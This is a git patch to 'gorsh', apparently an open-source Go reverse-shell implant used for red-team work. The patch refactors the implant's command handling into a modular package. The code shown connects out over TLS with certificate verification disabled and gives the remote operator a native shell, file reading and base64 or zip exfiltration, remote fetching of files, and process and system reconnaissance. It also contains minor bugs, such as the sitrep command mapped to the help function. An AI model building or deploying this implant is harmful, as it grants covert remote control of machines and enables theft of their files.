From 98d719d1c8b6c82351a5cbc6fc64c192ce3de75e Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Thu, 13 Sep 2018 17:04:51 -0400 Subject: [PATCH] create modular commands for easier addition later --- cmd/gorsh/main.go | 135 ++------------------ internal/commands/commands.go | 230 ++++++++++++++++++++++++++++++++++ 2 files changed, 238 insertions(+), 127 deletions(-) create mode 100644 internal/commands/commands.go diff --git a/cmd/gorsh/main.go b/cmd/gorsh/main.go index 18fe59f..169680a 100644 --- a/cmd/gorsh/main.go +++ b/cmd/gorsh/main.go @@ -5,21 +5,16 @@ import ( "bytes" "crypto/sha256" "crypto/tls" - "encoding/base64" "encoding/hex" "fmt" - "io/ioutil" "net" "os" "os/exec" - "os/user" "strings" - "github.com/audibleblink/gorsh/internal/directory" - "github.com/audibleblink/gorsh/internal/fetch" + "github.com/audibleblink/gorsh/internal/commands" "github.com/audibleblink/gorsh/internal/shell" "github.com/audibleblink/gorsh/internal/sitrep" - "github.com/audibleblink/gorsh/internal/zip" ) const ( @@ -42,7 +37,6 @@ func Send(conn net.Conn, msg string) { // Takes a network connection as its arg so it can pass stdio to it func InteractiveShell(conn net.Conn) { var ( - exit bool = false name, _ = os.Hostname() prompt string = fmt.Sprintf("\n[%s]> ", name) scanner *bufio.Scanner = bufio.NewScanner(conn) @@ -54,124 +48,14 @@ func InteractiveShell(conn net.Conn) { for scanner.Scan() { command := scanner.Text() - - if len(command) > 1 { + if command == "exit" { + break + } else if command == "shell" { + RunShell(conn) + } else if len(command) > 1 { argv := strings.Split(command, " ") - - switch argv[0] { - case "exit": - exit = true - - case "shell": - Send(conn, "Mind your OPSEC") - RunShell(conn) - - case "ls": - listing, err := directory.List(argv) - if err != nil { - Send(conn, err.Error()) - } else { - Send(conn, listing) - } - - case "ps": - listing := sitrep.Processes() - Send(conn, listing) - - case "cd": - if len(argv) > 1 { - os.Chdir(argv[1]) - } else { - usr, _ := user.Current() - os.Chdir(usr.HomeDir) - } - dir, _ := os.Getwd() - Send(conn, "Directory: "+dir) - - case "pwd": - dir, _ := os.Getwd() - Send(conn, dir) - - case "cat": - if len(argv) != 2 { - Send(conn, "Usage: cat ") - } else { - buf, err := ioutil.ReadFile(argv[1]) - - if err != nil { - Send(conn, err.Error()) - } else { - Send(conn, string(buf)) - } - } - - case "base64": - if len(argv) != 2 { - Send(conn, "Usage: base64 ") - } else { - buffer, err := ioutil.ReadFile(argv[1]) - base64 := base64.StdEncoding.EncodeToString(buffer) - if err != nil { - Send(conn, err.Error()) - } else { - Send(conn, base64) - } - } - - case "fetch": - if len(argv) != 3 { - Send(conn, "Usage: fetch . "+ - "UNC Paths allowed on Windows") - } else { - bytes, err := fetch.Get(argv[1], argv[2]) - - if err != nil { - Send(conn, err.Error()) - } else { - msg := fmt.Sprintf("%d bytes copied to %s", - bytes, argv[2]) - Send(conn, msg) - } - } - - case "sitrep": - net := sitrep.SysInfo() - Send(conn, net) - - case "zipcat": - if len(argv) != 2 { - Send(conn, "Usage: zipcat ") - } else { - bytes, err := zip.Bytes(argv[1]) - if err != nil { - Send(conn, err.Error()) - } else { - b64 := base64.StdEncoding.EncodeToString(bytes) - Send(conn, b64) - } - } - - case "help": - Send(conn, "Currently implemented commands: \n"+ - "cd [path] - Change the process' working directory\n"+ - "ls [path] - List the current working directory\n"+ - "pwd - Print the current working directory\n"+ - "ps - Print process information\n"+ - "cat - Print the contents of the given file\n"+ - "zipcat - Compress, base64, and print the given file\n"+ - "base64 - Base64 encode the given file and print\n"+ - "fetch - Fetch stuff. http[s]:// or //share/folder (Windows only)\n"+ - "shell - Drops into a native shell. Mind your OPSEC\n"+ - "sitrep - Situation Awareness information\n"+ - "\n") - default: - Send(conn, "Command not implemented. Try 'help'") - } - - if exit { - break - } - + out := commands.Route(argv) + Send(conn, out) } conn.Write([]byte(prompt)) @@ -206,17 +90,14 @@ func Reverse(connectString string, fingerprint []byte) { ) config := &tls.Config{InsecureSkipVerify: true} - if conn, err = tls.Dial("tcp", connectString, config); err != nil { os.Exit(ERR_HOST_UNREACHABLE) } - defer conn.Close() if ok := CheckKeyPin(conn, fingerprint); !ok { os.Exit(ERR_BAD_FINGERPRINT) } - InteractiveShell(conn) } diff --git a/internal/commands/commands.go b/internal/commands/commands.go new file mode 100644 index 0000000..a7e1ec4 --- /dev/null +++ b/internal/commands/commands.go @@ -0,0 +1,230 @@ +package commands + +import ( + "encoding/base64" + "fmt" + "io/ioutil" + "os" + "os/user" + + "github.com/audibleblink/gorsh/internal/directory" + "github.com/audibleblink/gorsh/internal/fetch" + "github.com/audibleblink/gorsh/internal/sitrep" + "github.com/audibleblink/gorsh/internal/zip" +) + +type CmdFunc func(...string) string + +type Command struct { + Name string + ArgHint string + Desc string + ArgCount int + ArgReq bool + cmdFn CmdFunc +} + +func (c *Command) Help() string { + return fmt.Sprintf("%-6s %-12s %s %s\n", c.Name, c.ArgHint, "|", c.Desc) +} + +func (c *Command) Execute(argv []string) string { + var output string + output = c.cmdFn(argv...) + return output +} + +var Commands []*Command + +func init() { + Commands = []*Command{ + &Command{ + "shell", + "", + "Drops into a native shell. Mind you OPSEC", + 0, + false, + nil}, + &Command{ + "cd", + "[path]", + "Change the process' working directory", + 1, + false, + cdFn}, + &Command{ + "ls", + "[path]", + "List the current working directory", + 1, + false, + lsFn}, + &Command{ + "pwd", + "", + "Print the current working directory", + 0, + false, + pwdFn}, + &Command{ + "ps", + "", + "Print process information", + 0, + false, + psFn}, + &Command{ + "cat", + "", + "Print the contents of the given file", + 1, + true, + catFn}, + &Command{ + "zipcat", + "", + "Compress, base64, and print the given file", + 1, + true, + zipcatFn}, + &Command{ + "base64", + "", + "Base64 encode the given file and print", + 1, + true, + base64Fn}, + &Command{ + "fetch", + " ", + "Fetch stuff. http[s]:// or //share/folder (Windows only)", + 2, + true, + fetchFn}, + &Command{ + "sitrep", + "", + "Situation Awareness information", + 0, + false, + helpFn}, + &Command{ + "help", + "", + "Print this help menu", + 0, + false, + helpFn}} +} + +func Route(argv []string) string { + cmd := _find(argv[0]) + if cmd == nil { + return "Command not found. Try 'help' for a list of available commands" + } + + if cmd.ArgReq && cmd.ArgCount != len(argv)-1 { + return fmt.Sprintf("Usage: %s %s\n", cmd.Name, cmd.ArgHint) + } + + output := cmd.Execute(argv) + return output +} + +func cdFn(argv ...string) string { + if len(argv) > 1 { + os.Chdir(argv[1]) + } else { + usr, _ := user.Current() + os.Chdir(usr.HomeDir) + } + dir, _ := os.Getwd() + return fmt.Sprintf("Current Directory: %s", dir) +} + +func lsFn(argv ...string) string { + output, err := directory.List(argv) + if err != nil { + return err.Error() + } + return output +} + +func pwdFn(argv ...string) string { + output, err := os.Getwd() + if err != nil { + return err.Error() + } + return output +} + +func psFn(argv ...string) string { + output := sitrep.Processes() + return output +} + +func catFn(file ...string) string { + output, err := ioutil.ReadFile(file[1]) + if err != nil { + return err.Error() + } + return string(output) +} + +func zipcatFn(file ...string) string { + bytes, err := zip.Bytes(file[1]) + if err != nil { + return err.Error() + } else { + b64 := base64.StdEncoding.EncodeToString(bytes) + return b64 + } +} + +func base64Fn(file ...string) string { + bytes, err := ioutil.ReadFile(file[1]) + if err != nil { + return err.Error() + } else { + b64 := base64.StdEncoding.EncodeToString(bytes) + return b64 + } +} + +func fetchFn(file ...string) string { + bytes, err := fetch.Get(file[1], file[2]) + if err != nil { + return err.Error() + } + output := fmt.Sprintf("%d bytes copied to %s", + bytes, file[1]) + return output +} + +func sitrepFn(argv ...string) string { + output := sitrep.SysInfo() + return output +} + +func helpFn(args ...string) string { + var output string + for _, cmd := range Commands { + output += fmt.Sprintf(cmd.Help()) + } + return output +} + +func _find(cmd string) *Command { + var outCmd *Command + for _, c := range Commands { + if cmd == c.Name { + outCmd = c + } + } + return outCmd +} + +// switch argv[0] { +// case "shell": +// Send(conn, "Mind your OPSEC") +// RunShell(conn)